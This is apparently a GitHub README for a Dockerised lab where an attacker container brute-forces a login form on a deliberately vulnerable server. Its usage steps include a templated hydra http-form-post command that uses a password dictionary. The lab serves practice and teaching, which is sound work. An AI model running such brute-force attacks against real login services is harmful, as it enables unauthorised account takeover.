Skip to content

Branyoe/brute-force_lab

Repository files navigation

Brute force laboratory

Description

This repository replicates a controlled environment where a brute force attack is practiced on a vulnerable server. Docker was used to facilitate the distribution of the project.

Architecture

Arch brute-forze lab - Página 1

Usage

  1. clone repo.

    git@github.com:Branyoe/brute-force_lab.git
  2. run compose app.

    docker compose up -d
  3. paste your dictionary.txt file in the dictionaries directory.

  4. watch attacked container logs.

    docker logs attacked -f
  5. in another console instance, inspect docker compose network to see attacked container IP.

    docker network inspect brute-force_lab_default

    image

  6. in another console instance, access to attacker container console.

    docker exec -it attacker /bin/bash
  7. run attack.

    hydra \
    -l <target_user> \
    -P /dictionaries/<dictionary_name>.txt \
    <target_ip> -s <target_port> \
    http-form-post \
    "/<target_endpoint>:<body_req_user_key>=<target_user>&<body_req_password_key>=^PASS^:<successfully_msg>"

    image

  8. espected result. image

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors